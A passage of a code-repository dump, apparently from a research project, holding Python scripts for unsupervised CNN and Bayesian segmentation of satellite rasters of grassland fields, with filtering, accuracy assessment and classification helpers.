im_target_rgb.reshape(im.shape).astype(np.uint8)\r\n shp_1 = (np.sqrt(im_target_rgb.shape[0])).astype(np.int)\r\n\r\n # im_target_rgb = im_target_rgb.reshape((shp_1, shp_1, 10)).astype(np.uint8)\r\n\r\n images.append((im_target_rgb[:, :, 0]))\r\n\r\n cv2.imshow(\"output\", im_target_rgb[:, :, [0, 1, 2]])\r\n cv2.waitKey(self.n_band)\r\n\r\n # superpixel refinement\r\n # TODO: use Torch Variable instead of numpy for faster calculation\r\n for i in range(len(l_inds)):\r\n labels_per_sp = im_target[l_inds[i]]\r\n u_labels_per_sp = np.unique(labels_per_sp)\r\n hist = np.zeros(len(u_labels_per_sp))\r\n for j in range(len(hist)):\r\n hist[j] = len(np.where(labels_per_sp == u_labels_per_sp[j])[0])\r\n im_target[l_inds[i]] = u_labels_per_sp[np.argmax(hist)]\r\n target = torch.from_numpy(im_target)\r\n\r\n target = Variable(target)\r\n loss = loss_fn(output, target)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # print (batch_idx, '/', args.maxIter, ':', nLabels, loss.data[0])\r\n print(batch_idx, '/', 200, ':', nLabels, loss.item())\r\n\r\n if nLabels < 2:\r\n print(\"nLabels\", nLabels, \"reached minLabels\", 2, \".\")\r\n break\r\n torch.save(model, data_path + 'cnn_model')\r\n # save output image\r\n if not visualize:\r\n output = model(data)[0]\r\n output = output.permute(1, 2, 0).contiguous().view(-1, self.n_band)\r\n ignore, target = torch.max(output, 1)\r\n im_target = target.data.cpu().numpy()\r\n im_target_rgb = np.array([label_colours[c % 100] for c in im_target])\r\n im_target_rgb = im_target_rgb.reshape(im.shape).astype(np.uint8)\r\n imageio.mimsave(data_path + 'cnn.gif', images)\r\n print(im_target_rgb.shape)\r\n\r\n flat_array = im_target_rgb[:, :, 0].squeeze()\r\n flat_array += 1\r\n flat_array[mask_local] = 0\r\n print(type(flat_array))\r\n\r\n plt.figure(figsize=(15, 8))\r\n plt.imshow(flat_array)\r\n # plt.show()\r\n\r\n file_str = \"{}{}\".format(data_path + \"/CNN_\", str(field_counter))\r\n WriteArrayToDisk(flat_array, file_str + str(indexo), gt_gdal, polygonite=True, fieldo=field_counter)\r\n\r\n\r\ndef filter_function(invalues):\r\n invalues_mode = mode(invalues, axis=None, nan_policy='omit')\r\n return invalues_mode[0]\r\n\r\n\r\nmajority_f = lambda array: generic_filter(array, function=filter_function, size=3)\r\n\r\n\r\ndef get_4_tiles_images(image):\r\n _nrows, _ncols, depth = image.shape\r\n _size = image.size\r\n _strides = image.strides\r\n width = _ncols / 2\r\n height = _ncols / 2\r\n nrows, _m = divmod(_nrows, height)\r\n ncols, _n = divmod(_ncols, width)\r\n if _m != 0 or _n != 0:\r\n return None\r\n\r\n return np.lib.stride_tricks.as_strided(\r\n np.ravel(image),\r\n shape=(nrows, ncols, height, width, depth),\r\n strides=(height * _strides[0], width * _strides[1], *_strides),\r\n writeable=False\r\n )\r\n\r\n\r\ndef get_extent(raster):\r\n \"\"\"\r\n\r\n :param raster: should be opened in GDAL\r\n :return: Returns shapely Polygon\r\n \"\"\"\r\n # Get raster geometry\r\n transform = raster.GetGeoTransform()\r\n pixelWidth = transform[1]\r\n pixelHeight = transform[5]\r\n cols = raster.RasterXSize\r\n rows = raster.RasterYSize\r\n\r\n xLeft = transform[0]\r\n yTop = transform[3]\r\n xRight = xLeft + cols * pixelWidth\r\n yBottom = yTop + rows * pixelHeight\r\n rasterGeometry = geometry.box(xLeft, yBottom, xRight, yTop)\r\n print(xLeft, yTop, transform, cols, rows)\r\n \"\"\"\r\n ring = ogr.Geometry(ogr.wkbLinearRing)\r\n ring.AddPoint(xLeft, yTop)\r\n ring.AddPoint(xLeft, yBottom)\r\n ring.AddPoint(xRight, yTop)\r\n ring.AddPoint(xRight, yBottom)\r\n ring.AddPoint(xLeft, yTop)\r\n rasterGeometry = ogr.Geometry(ogr.wkbPolygon)\r\n rasterGeometry.AddGeometry(ring)\r\n \"\"\"\r\n return rasterGeometry\r\n\r\n\r\ndef scfilter(image, iterations, kernel):\r\n \"\"\"\r\n Sine‐cosine filter.\r\n kernel can be tuple or single value.\r\n Returns filtered image.\r\n \"\"\"\r\n for n in range(iterations):\r\n image = np.arctan2(\r\n ndimage.filters.uniform_filter(np.sin(image), size=kernel),\r\n ndimage.filters.uniform_filter(np.cos(image), size=kernel))\r\n return image\r\n\r\n\r\ndef bilateral_nchannels(array):\r\n \"\"\"\r\n\r\n :param array: array dim should be x,y,nchannel\r\n :return: array with shape x, y, nchannel; CLAHE transformed\r\n \"\"\"\r\n # array dim should be x,y,nchannel\r\n new_array = np.empty(array.shape)\r\n for i in range(array.shape[2]):\r\n array_squeezed = array[:, :, i].squeeze()\r\n new_array[:, :, i] = cv2.bilateralFilter(array_squeezed, 15, 5, 5)\r\n # print('clahe', i+1, '/', array.shape[2])\r\n return new_array\r\n\r\n\r\ndef clahe_nchannels(array):\r\n \"\"\"\r\n :param array: array dim should be x,y,nchannel\r\n :return: array with shape x, y, nchannel; CLAHE transformed\r\n \"\"\"\r\n # array dim should be x,y,nchannel\r\n new_array = np.empty(array.shape)\r\n for i in range(array.shape[2]):\r\n array_squeezed = array[:, :, i].squeeze()\r\n new_array[:, :, i] = exposure.equalize_adapthist(array_squeezed, clip_limit=0.01,\r\n kernel_size=30) # array.shape[1]/2)\r\n # print('clahe', i+1, '/', array.shape[2])\r\n return new_array\r\n\r\n\r\n" }, { "alpha_fraction": 0.44757452607154846, "alphanum_fraction": 0.4702823758125305, "avg_line_length": 50.15488052368164, "blob_id": "321d3b05d8ca484e658720ce460c8f313b25d197", "content_id": "94197d6da1c6d16ef88f478145972a8c0f8e1a29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15198, "license_type": "no_license", "max_line_length": 160, "num_lines": 297, "path": "/Scripts/__Segmentation_Script.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "\nfrom joblib import Parallel, delayed\n\nimport glob\nimport time\nfrom Wes_Tools.Accuracy_ import *\nfrom Wes_Tools.Plots_OBIA import *\nfrom Wes_Tools.__Segmentor import *\nfrom Wes_Tools.__CNN_segment import *\nfrom Wes_Tools.__Join_results import *\nfrom Wes_Tools.__geometry_tools import *\nfrom skopt import BayesSearchCV\nimport shapely.ops\nfrom shapely.ops import linemerge, unary_union, polygonize\nfrom shapely.geometry import LineString, Polygon\n\ndef main():\n data_path = 'X:/temp/temp_Max/Data/'\n vector_paths = glob.glob(r'X:\\SattGruen\\Analyse\\GLSEG\\Raster\\Vectorized_Alkis/' + '*.shp')\n vector_paths = vector_paths[1:]\n vector_paths = ['X:\\SattGruen\\Analyse\\GLSEG\\Raster\\Vectorized_Alkis/12polygonized.shp']\n vector_paths = ['X:/temp/temp_Max/Data/Vector/Mask_Paulinaue_new.shp']\n #vector_paths = [r'X:\\SattGruen\\Analyse\\GLSEG\\Raster\\snippets_invekos/stacked_12_9.pngpolygonized.shp']\n another_counter = 0\n ######################################\n # accuracy assessment lists\n\n pse_list = []\n iou_list = []\n osq_list = []\n overall_list = []\n OS_list = []\n US_list = []\n ed2_list = []\n pse_list = []\n nsr_list = []\n params_list = []\n names = []\n ######################################\n\n for vector_path in vector_paths:\n print(vector_path)\n #data_patg_alt = find_matching_raster(vector_path, 'X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN3_BN1/', \".*[N][D][V].*[B][M].*[t][i][f]{1,2}$\")\n #print(data_patg_alt)\n #if data_patg_alt is None:\n # continue\n #big_box = getRasterExtent(data_patg_alt)\n #boxes = fishnet(big_box, 15000)\n #print(len(boxes))\n gdf_ = gpd.GeoDataFrame(pd.concat([gpd.read_file(vector_path)], ignore_index=True),\n crs=\"EPSG:3035\")\n #gdf_roads = gpd.GeoDataFrame(pd.concat([gpd.read_file(r'X:\\temp\\temp_Max\\Data\\Vector/Paulinaue_roads.gpkg')], ignore_index=True),\n # crs=\"EPSG:3035\")\n\n #gdf_roads['geometry'] = gdf_roads.buffer(10)\n\n #gdf_ = gpd.overlay(gdf_, gdf_roads, how='difference')\n\n \"\"\"\n for line in gdf_roads.geometry:\n out_ = shapely.ops.split(out, line)\n if len(out_) > 1:\n\n print(len(out))\n \"\"\"\n mask = gdf_.area > 500\n gdf = gdf_.loc[mask]\n #gdf = gdf_\n #indexNames = gdf[gdf['Cluster_nb'] == 0].index\n #gdf.drop(indexNames, inplace=True)\n\n box_counter = 100\n boxes = [1]\n\n for poly in boxes:\n # sub = gpd.GeoDataFrame(gpd.clip(gdf.buffer(0), Polygon(poly).buffer(0.001)))\n covs = 40\n # best set of parameters so far: no PCA, all available bands and Beta=20;\n # according to Liu: no PCA, 11 bands, Beta=100\n # PCA_ = [True, False]\n PCA_ = [False]\n filter_list = ['bilateral', 'no_filter']\n stencil_list = [\"8p\"]#, \"8p\"]\n segmentation_rounds_list = [[0.5, 0.01, 0.00915], [0.5, 0.01]]#, [0.5, 0.01, 0.015]]\n\n gdf_old = gdf\n n_classes_list = [3, 4, 5, 8, 9]\n input_bands_list = [100]\n for n_band in input_bands_list:\n for n_class in n_classes_list:\n for filter in filter_list:\n for stncl in stencil_list:\n\n for seg_round_counter, segmentation_rounds in enumerate(segmentation_rounds_list):\n gdf = gdf_old\n params = (filter, stncl, segmentation_rounds, PCA_, n_class, n_band)\n for round in segmentation_rounds:\n try:\n shutil.rmtree(data_path + 'output/')\n except:\n print('')\n os.mkdir(data_path + 'output')\n print('ROUNd', round)\n # does not work within function with parallel os.mkdir\n\n # set_global_Cnn_variables(bands=par, convs=betas)\n # old subsetter range(1,500)\n # 104 168 = April - Ende Oktober\n # first round 0.05\n # second round 0.5\n\n if round == 0.5:\n data_patg_alt = find_matching_raster(vector_path,\n 'X:/SattGruen/Analyse/Mowing_detection/Data/Raster/S-1/',\n \".*[c][k][e][d].*[t][i][f]{1,2}$\")\n print(data_patg_alt)\n clf = segmentation_BaySeg(n_band=100, custom_subsetter=range(10, 21), _filter=filter,\n MMU=round, into_pca=11, beta_coef=40, beta_jump=1,\n PCA=False, n_class=n_class, iterations=20, neighbourhood=stncl)\n Parallel(n_jobs=5)(\n delayed(clf.segment_2)(data_patg_alt, vector_geom=row, data_path_output=data_path,\n indexo=index) for index, row in gdf.iterrows())\n if round == 0.01:\n\n different_raster = find_matching_raster(vector_path,\n 'X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN0_BN0/',\n \".*[E][V][I].*[B][M].*[t][i][f]{1,2}$\")\n #different_raster = r'H:\\Grassland\\EVI\\X0068_Y0042/2017-2019_001-365_HL_TSA_LNDLG_EVI_TSS.tif'\n #different_raster = r'X:\\temp\\temp_Max/TS_X0068_Y0042.tif'\n clf = segmentation_BaySeg(n_band=100, custom_subsetter=range(2, 11), _filter=filter,\n MMU=round, into_pca=40, beta_coef=50, beta_jump=1.5,\n PCA=False, n_class=n_class, iterations=20)\n Parallel(n_jobs=5)(\n delayed(clf.segment_2)(different_raster, vector_geom=row, data_path_output=data_path,\n indexo=index) for index, row in gdf.iterrows())\n\n if round == 0.00915:\n\n different_raster = find_matching_raster(vector_path,\n 'X:/SattGruen/Analyse/Mowing_detection/Data/Raster/AN0_BN0/',\n \".*[E][V][I].*[S][S].*[t][i][f]{1,2}$\")\n #different_raster = r'H:\\Grassland\\EVI\\X0068_Y0042/2017-2019_001-365_HL_TSA_LNDLG_EVI_TSS.tif'\n #different_raster = r'X:\\temp\\temp_Max/TS_X0068_Y0042.tif'\n clf = segmentation_BaySeg(n_band=100, custom_subsetter=range(2, 100), _filter=filter,\n MMU=round, into_pca=40, beta_coef=50, beta_jump=1.5,\n PCA=False, n_class=n_class+2, iterations=30)\n Parallel(n_jobs=5)(\n delayed(clf.segment_2)(different_raster, vector_geom=row, data_path_output=data_path,\n indexo=index) for index, row in gdf.iterrows())\n if not os.listdir(data_path + 'output/'):\n print('directory empty')\n else:\n joined = join_shapes_gpd(data_path + 'output/', own_segmentation='own')\n gdf = joined\n if os.path.exists(data_path + 'joined'):\n print('output directory already exists')\n\n else:\n os.mkdir(data_path + 'joined')\n print('joined data frame:', joined)\n shutil.rmtree(data_path + 'output/')\n\n field_counter = \"{}{}{}{}{}{}{}{}\".format(str(filter), \"_\", str(stncl), \"_\", str(n_band), '_',\n seg_round_counter, \"_\" + str(another_counter) + \"_\")\n box_counter += 1\n another_counter += 10\n print(field_counter)\n segmented_file_path = data_path + 'joined/seg_gridsrch' + field_counter + '.shp'\n joined.to_file(segmented_file_path)\n # pse = Accuracy_Assessment(vector_path, shapes).IoU()\n\n reference_path = data_path + 'Vector/Paulienenaue_TF.shp'\n ref_raster_path = 'X:/SattGruen/Analyse/GLSEG/Raster/X0068_Y0042/2018-2018_001-365_LEVEL4_TSA_SEN2L_NDV_TSI.tif'\n acc_ass = Accuracy_Assessment(reference_path, segmented_file_path, convert_reference=True,\n raster=ref_raster_path)\n pse, nsr, ed2 = acc_ass.Liu_new()\n OS, US, Overall = acc_ass.Clinton()\n iou, osq = acc_ass.IoU()\n # print((np.array(iou)))\n print(np.mean(np.array(OS)), np.mean(np.array(US)), np.mean(np.array(Overall)))\n print('PSE', np.mean(np.array(pse)), np.mean(np.array(nsr)), np.mean(np.array(ed2)), 'OSQ:',\n osq)\n names.append(segmented_file_path)\n iou_list.append(np.mean(np.array(iou)))\n osq_list.append(osq)\n overall_list.append(np.mean(np.array(Overall)))\n OS_list.append(np.mean(np.array(OS)))\n US_list.append(np.mean(np.array(US)))\n\n ed2_list.append(np.mean(np.array(ed2)))\n nsr_list.append(np.mean(np.array(nsr)))\n pse_list.append(np.mean(np.array(pse)))\n params_list.append(params)\n\n dict = {'name': names, 'IoU': iou_list, 'osq': osq_list, 'pse': pse_list,\n 'nsr': nsr_list, 'ed2': ed2_list,\n 'OS': OS_list, 'US': US_list, 'Overall OS US': overall_list, 'params': params_list}\n score_frame = pd.DataFrame(dict)\n score_frame.to_csv(data_path + 'scores_grdshrch.csv')\n\n\n\ndef aggregate_main(inputshape, data_patg_alt):\n data_path = 'X:/temp/temp_Max/Data/'\n gdf = gpd.GeoDataFrame(\n pd.concat([gpd.read_file(inputshape)], ignore_index=True),\n crs=gpd.read_file(inputshape).crs)\n # drop cluster number 0, which is all no grassland polygons\n #indexNames = gdf[gdf['Cluster_nb'] == 0].index\n #gdf.drop(indexNames, inplace=True)\n\n # drop all entries with field nb = na, which don't have a geometry and are duplicates\n #indexNames_2 = gdf[np.isnan(gdf['field_nb'])].index\n #gdf.drop(indexNames_2, inplace=True)\n\n x = Parallel(n_jobs=20)(\n delayed(aggregator)(\n raster_NDV=data_patg_alt,\n shapei=row, indexo=index, yr=2018) for\n index, row in gdf.iterrows())\n mergo, dates = list(zip(*x))\n\n print('mergo', mergo)\n ###########\n # interpolatedf\n year = 2018\n next_year = 2019\n for index, row_mean in enumerate(mergo):\n\n\n row_mean = np.array(row_mean)\n x_ = dates[index]\n row_mean = row_mean[:len(x_)]\n year_subsetter = np.where((x_ > year) & (x_ < next_year))\n print(len(x_), len(row_mean))\n row_mean = row_mean[year_subsetter]\n x_ = x_[year_subsetter]\n\n row_mean[row_mean == 0] = np.nan\n nans, x = nan_helper(row_mean)\n row_mean[nans] = np.interp(x(nans), x(~nans), row_mean[~nans])\n\n color = np.array([str(1)] * len(nans))\n color[nans] = 'red'\n color[~nans] = 'green'\n plt.scatter(x_, row_mean, s=5, c=color)\n plt.title(str(index))\n plt.savefig(r'\\\\141.20.140.91\\SAN\\_ProjectsII\\Grassland\\temp\\temp_Marcel\\FL_mowing_reference/Plots/' + str(index) + '_2018' + '.png')\n\n #plt.show()\n plt.close()\n #mergo[mergo.columns[-1]] = mergo[mergo.columns[-1]].astype(dtype=int)\n #merged = gdf.merge(mergo, left_index=True, right_index=False, right_on=mergo[mergo.columns[-1]])\n #print(merged)\n #merged = merged.iloc[:, range(3, 117)]\n\n # gpd_merged = gpd.GeoDataFrame(merged, crs=\"EPSG:3035\", geometry=merged[0])\n # gpd_merged.to_file(data_path + 'merged_bayseg_raster.shp')\n #merged.to_csv(data_path + 'merged_bayseg_raster.csv')\n\nif __name__ == '__main__':\n reference_vector = r'\\\\141.20.140.91\\SAN\\_ProjectsII\\Grassland\\temp\\temp_Marcel\\FL_mowing_reference/mowingEvents_3035_out/mowingEvents_3035_out.shp'\n data_path = 'X:/temp/temp_Max/Data/'\n\n #aggregate_main(reference_vector, r'\\\\141.20.140.91/NAS_Rodinia/Croptype/Grassland/EVI/')\n\n #df = pd.read_csv(data_path + 'merged_bayseg_raster.csv')\n #df_n = df.iloc[:, range(3, 111)].to_numpy()\n \"\"\"\n from sklearn.cluster import AgglomerativeClustering\n print(df_n.shape)\n labels = AgglomerativeClustering(n_clusters=5).fit_predict(df_n)\n print(labels.shape)\n df['clusters'] = labels\n df.to_csv(data_path + 'merged_bayseg_raster_labels.csv')\n \"\"\"\n start = time.time()\n print('started at:', start)\n main()\n end = time.time()\n elapsed_time = end - start\n\n\n\n\n\n\"\"\"\nIDEAs: \n\ndefine/find areas of no/low regrowth; the VI values in these areas can then be adapted\nfirst idea: find points below a NDVI value of ~0.5 then see if regrowth or not\nunsupervised video segmentation? \n\nTODO:\nSentinel 1 für Paulinaue; Spectral Temporal metrics für paulinaue; Mit Grünlandmaske für Paulinaue\nFür mowing detection: gesamtes gebiet mit spectral temproal metrics; Coherence; combined; PCA\n\n\"\"\"" }, { "alpha_fraction": 0.6378361582756042, "alphanum_fraction": 0.6485329866409302, "avg_line_length": 39.875, "blob_id": "6ff35bfee2d28639c0f8296d90b3a41f66431258", "content_id": "57eaacec293887f5f368b76fb359a291a7a5f34d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3272, "license_type": "no_license", "max_line_length": 137, "num_lines": 80, "path": "/Scripts/__Validation_Script.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import sys\nimport geopandas as gpd\nimport pandas as pd\nfrom joblib import Parallel, delayed\nimport numpy as np\nimport os\nimport fiona\nimport shutil\nimport glob\nsys.path.append(\"X:/temp/temp_Max/\")\n\nfrom Wes_Tools.Accuracy_ import *\nfrom Wes_Tools.Plots_OBIA import *\nfrom Wes_Tools.__Segmentor import *\nfrom Wes_Tools.__CNN_segment import *\nfrom Wes_Tools.__Join_results import *\nfrom Wes_Tools.create_vrt import *\n\nif __name__ == '__main__':\n\n data_path = 'X:/temp/temp_Max/Data/'\n data_patg_alt = 'X:/SattGruen/Analyse/GLSEG/Raster'\n raster_path = 'X:/SattGruen/Analyse/GLSEG/Raster/X0068_Y0042/2018-2018_001-365_LEVEL4_TSA_SEN2L_NDV_TSI.tif'\n vector_path = data_path + 'Vector/Paulienenaue_TF.shp'\n #vector_path = data_path + 'Vector/Paulienenaue_TF.shp'\n\n #plot_shapefile(data_path + 'Vector/result_.gpkg', raster_path, error_plot=True, trample_check=False, custom_subsetter=range(1, 60))\n\n list_of_shapes = Shape_finder(data_path + 'joined/')\n print(list_of_shapes)\n pse_list = []\n iou_list = []\n osq_list = []\n overall_list = []\n OS_list = []\n US_list = []\n ed2_list = []\n pse_list = []\n nsr_list = []\n\n\n for shapes in list_of_shapes:\n #pse = Accuracy_Assessment(vector_path, shapes).IoU()\n acc_ass = Accuracy_Assessment(vector_path, shapes, convert_reference=True, raster=raster_path)\n pse, nsr, ed2 = acc_ass.Liu_new()\n OS, US, Overall = acc_ass.Clinton()\n iou, osq = acc_ass.IoU()\n #print((np.array(iou)))\n print(shapes, np.mean(np.array(OS)), np.mean(np.array(US)), np.mean(np.array(Overall)))\n print('PSE', np.mean(np.array(pse)), np.mean(np.array(nsr)), np.mean(np.array(ed2)), 'OSQ:', osq)\n\n iou_list.append(np.mean(np.array(iou)))\n osq_list.append(osq)\n overall_list.append(np.mean(np.array(Overall)))\n OS_list.append(np.mean(np.array(OS)))\n US_list.append(np.mean(np.array(US)))\n\n ed2_list.append(np.mean(np.array(ed2)))\n nsr_list.append(np.mean(np.array(nsr)))\n pse_list.append(np.mean(np.array(pse)))\n\n dict = {'name': list_of_shapes, 'IoU': iou_list, 'osq':osq_list, 'pse': pse_list, 'nsr': nsr_list, 'ed2': ed2_list,\n 'OS': OS_list, 'US': US_list, 'Overall OS US': overall_list}\n score_frame = pd.DataFrame(dict)\n score_frame.to_csv(data_path + 'scores.csv')\n print(score_frame)\n #print(np.argmax(np.array(pse_list)), list_of_shapes, pse_list)\n\n #print(np.array(pse_list), np.argmin(np.array(pse_list)))\n print('According to PSE (ED2)', list_of_shapes[np.argmin(np.array(pse_list))], 'with a score of ',\n np.min(np.array(pse_list)))\n print('According to IoU', list_of_shapes[np.argmax(np.array(iou_list))], 'with a score of ',\n np.max(np.array(iou_list)))\n plot_shapefile(list_of_shapes[np.argmin(np.array(pse_list))], raster_path)\n plot_shapefile(list_of_shapes[np.argmin(np.array(pse_list))], raster_path, error_plot=True)\n plot_shapefile(data_path+'Vector/Paulienenaue_TF.shp', raster_path, error_plot=True)\n plot_shapefile(data_path+'Vector/Paulienenaue_TF.shp', raster_path)\n\n\n #print('According to Clinton', list_of_shapes[np.argmin(np.array(clinton_list))], 'with a score of ', np.min(np.array(clinton_list)))\n\n\n" }, { "alpha_fraction": 0.6151685118675232, "alphanum_fraction": 0.6357678174972534, "avg_line_length": 35.82758712768555, "blob_id": "892edcbc8eac0cece257de16723fcd7358f78fef", "content_id": "92012235190ed3f2e02aab8b04b31ce84086040a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 109, "num_lines": 29, "path": "/__Classify_segments.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport geopandas as gpd\nfrom sklearn.mixture import BayesianGaussianMixture\n\n\ndef classify_unsupervised(pandas_df, ncluster, drop=True):\n if drop:\n parcel_frame = pandas_df.drop(['Unnamed: 0', '73', '72', 'field_nb', 'Cluster_nb'], 1)\n else:\n parcel_frame = pandas_df\n print(parcel_frame)\n parcel_array = parcel_frame.to_numpy()\n labels = BayesianGaussianMixture(n_components=ncluster, covariance_type='full',\n max_iter=500, reg_covar=0.1, weight_concentration_prior=0.1, n_init=100,\n warm_start=True).fit_predict(parcel_array)\n print(labels.shape)\n return labels\n\n\ndef classify_supervised(pandas_df, a_trained_model, drop=True):\n if drop:\n parcel_frame = pandas_df.drop(['Unnamed: 0', '73', '72', 'field_nb', 'Cluster_nb'], 1)\n else:\n parcel_frame = pandas_df\n print(parcel_frame)\n parcel_array = parcel_frame.to_numpy()\n labels = a_trained_model.predict(parcel_array)\n print(labels.shape)\n return labels\n" }, { "alpha_fraction": 0.45205479860305786, "alphanum_fraction": 0.6712328791618347, "avg_line_length": 13.699999809265137, "blob_id": "1395a91fbaad8b22cd1d9eb9bea1083a79bf69d5", "content_id": "199f2380ef6fca9e00f0e1bb85ef5e6009030319", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 146, "license_type": "no_license", "max_line_length": 18, "num_lines": 10, "path": "/requirements.txt", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "setuptools~=46.4.0\ngeopandas~=0.6.1\npandas~=1.0.3\nfiona~=1.8.4\ngdal~=2.3.3\nnumpy~=1.18.1\nshapely~=1.6.4\njoblib~=0.15.1\naffine~=2.3.0\nrasterio~=1.0" }, { "alpha_fraction": 0.5429090261459351, "alphanum_fraction": 0.559367299079895, "avg_line_length": 35.54296875, "blob_id": "07c2c906feb008fb685d3210269d69fc52496c08", "content_id": "6fd9e7ccd0bd5a4472dbd1bd1933940360d21d61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9357, "license_type": "no_license", "max_line_length": 126, "num_lines": 256, "path": "/__CNN_segment.py", "repo_name": "maxwesemeyer/Wes_Tools", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom skimage import segmentation\nimport torch.nn.init\nimport imageio\nfrom sklearn.mixture import GaussianMixture\nfrom .__utils import *\nfrom .__Segmentor import *\nimport cv2\n########################################################################################################################\n\n\ndef set_global_Cnn_variables(bands=11, convs=2):\n \"\"\"\n CNN needs some global variables\n :param bands: number of bands to be used for CNN\n :param convs: number of convolutions\n :return:\n \"\"\"\n # CNN model\n global n_band\n global nConv\n global padd\n global stride_\n n_band = bands\n nConv = convs\n padd = np.int((n_band - 1) / 2)\n stride_ = 1\n\n\nclass MyNet(nn.Module):\n def __init__(self, input_dim):\n super(MyNet, self).__init__()\n self.conv1 = nn.Conv2d(input_dim, n_band, kernel_size=n_band, stride=stride_, padding=padd)\n\n self.bn1 = nn.BatchNorm2d(n_band)\n self.conv2 = nn.ModuleList()\n self.bn2 = nn.ModuleList()\n for i in range(nConv - 1): # n_conv\n self.conv2.append(nn.Conv2d(n_band, n_band, kernel_size=n_band, stride=stride_, padding=padd))\n self.bn2.append(nn.BatchNorm2d(n_band))\n self.conv3 = nn.Conv2d(n_band, n_band, kernel_size=1, stride=stride_, padding=0)\n self.bn3 = nn.BatchNorm2d(n_band)\n\n def forward(self, x):\n x = self.conv1(x)\n x = F.relu(x)\n x = self.bn1(x)\n \"\"\"\n #### experimenting\n x_ = x.detach().numpy()\n x_ = x_.squeeze()\n x_ = np.moveaxis(x_, 0, 2)\n plt.imshow(x_)\n plt.show()\n #### experimenting\n \"\"\"\n for i in range(nConv - 1):\n x = self.conv2[i](x)\n x = F.relu(x)\n x = self.bn2[i](x)\n x = self.conv3(x)\n x = self.bn3(x)\n return x\n\n\ndef OpenRasterToMemory(path):\n drvMemR = gdal.GetDriverByName('MEM')\n ds = gdal.Open(path)\n dsMem = drvMemR.CreateCopy('', ds)\n return dsMem\n\n\ndef minmax_transfor(X):\n shape = X.shape\n i = shape[0]\n j = shape[1]\n bands = shape[2]\n result = 255 * (img1[i, j, bands] - np.nanmin(img1[:, :, bands])) / (\n np.nanmax(img1[:, :, bands]) - np.nanmin(img1[:, :, bands]))\n return result\n\n\nclass Segmentation():\n def __init__(self, string_to_raster, vector_geom, custom_subsetter, MMU, bands=11, convs=2, ):\n set_global_Cnn_variables(bands, convs)\n three_d_image, two_d_im_pca, mask_local, gt_gdal = prepare_data(string_to_raster, vector_geom, custom_subsetter,\n n_band, MMU=MMU, PCA=True)\n\n\ndef segment_cnn(string_to_raster, vector_geom, indexo=np.random.randint(0, 100000),\n data_path_output=None, n_band=50, into_pca=50, lr_var=0.1, convs=2,\n custom_subsetter=range(0,80), MMU=0.05, PCA=True):\n torch.set_num_threads(10)\n \"\"\"\n The CNN unsupervised segmentation is based on a paper by Asako Kanezaki;\n \"Unsupervised Image Segmentation by Backpropagation\"\n on Github: https://github.com/kanezaki/pytorch-unsupervised-segmentation\n :param string_to_raster:\n :param vector_geom:\n :param indexo:\n :param data_path_output:\n :param n_band:\n :param into_pca:\n :param lr_var:\n :param custom_subsetter:\n :param MMU:\n :param PCA:\n :return:\n \"\"\"\n set_global_Cnn_variables(bands=n_band, convs=convs)\n print(nConv)\n if os.path.exists(data_path_output + 'output'):\n print('output directory already exists')\n # os.rmdir(data_path_output + 'output')\n else:\n os.mkdir(data_path_output + 'output')\n data_path = data_path_output + 'output'\n\n field_counter = \"{}{}{}{}{}{}{}\".format(str(n_band), '_', str(nConv), '_', str(lr_var), '_', str(indexo))\n print(string_to_raster)\n ###########\n # prepare data function does the magic here\n three_d_image, two_d_im_pca, mask_local, gt_gdal, MMU_fail = prepare_data(string_to_raster, vector_geom, custom_subsetter,\n n_band, MMU=MMU, PCA=PCA, into_pca=into_pca)\n print(three_d_image.shape)\n # in case grassland area is too small\n if MMU_fail:\n three_d_image = np.zeros((three_d_image.shape[0], three_d_image.shape[1]))\n return\n elif three_d_image is None:\n return\n\n else:\n\n with fiona.open(vector_geom, \"r\") as shapefile:\n shp = [feature[\"geometry\"] for feature in shapefile]\n\n\n #labels = labels*mask_local\n #labels = segmentation.felzenszwalb(three_d_image, scale=3) #\n #labels = GaussianMixture(n_components=20).fit_predict(two_d_im_pca)\n labels = segmentation.slic(three_d_image, n_segments=250, compactness=5)\n\n im = three_d_image\n file_str = \"{}{}{}\".format(data_path + \"/output/out_labels\", str(field_counter), \"_\")\n\n labels_img = np.reshape(labels, (three_d_image.shape[0], three_d_image.shape[1]))\n plt.imshow(labels_img)\n plt.show()\n\n #file_str = \"{}{}\".format(data_path + \"/CNN_\", str(field_counter))\n #WriteArrayToDisk(labels_img, file_str, gt_gdal, polygonite=True, fieldo=field_counter)\n #return\n # labels__img = np.reshape(labels_, (scaled_shaped.shape[0], scaled_shaped.shape[1]))\n labels_img += 1\n labels_img[mask_local] = 0\n labels = labels_img.reshape(im.shape[0] * im.shape[1])\n print(im.shape, labels.shape)\n plt.imshow(labels_img)\n #plt.show()\n\n # WriteArrayToDisk(labels_img, file_str, gt_gdal, polygonite=True)\n ################################ cnn stuff\n data = torch.from_numpy(np.array([im.transpose((2, 0, 1)).astype('float32') / 255.]))\n\n visualize = True\n data = Variable(data)\n u_labels = np.unique(labels)\n\n l_inds = []\n for i in range(len(u_labels)):\n l_inds.append(np.where(labels == u_labels[i])[0])\n\n # train\n model = MyNet(data.size(1))\n\n # if os.path.exists(data_path + 'cnn_model'):\n #model = torch.load(data_path + 'cnn_model')\n model.train()\n loss_fn = torch.nn.CrossEntropyLoss()\n optimizer = optim.SGD(model.parameters(), lr=lr_var, momentum=0.8)\n label_colours = np.random.randint(255, size=(100, n_band))\n # to create a gif\n images = []\n for batch_idx in range(1000):\n # forwarding\n optimizer.zero_grad()\n output = 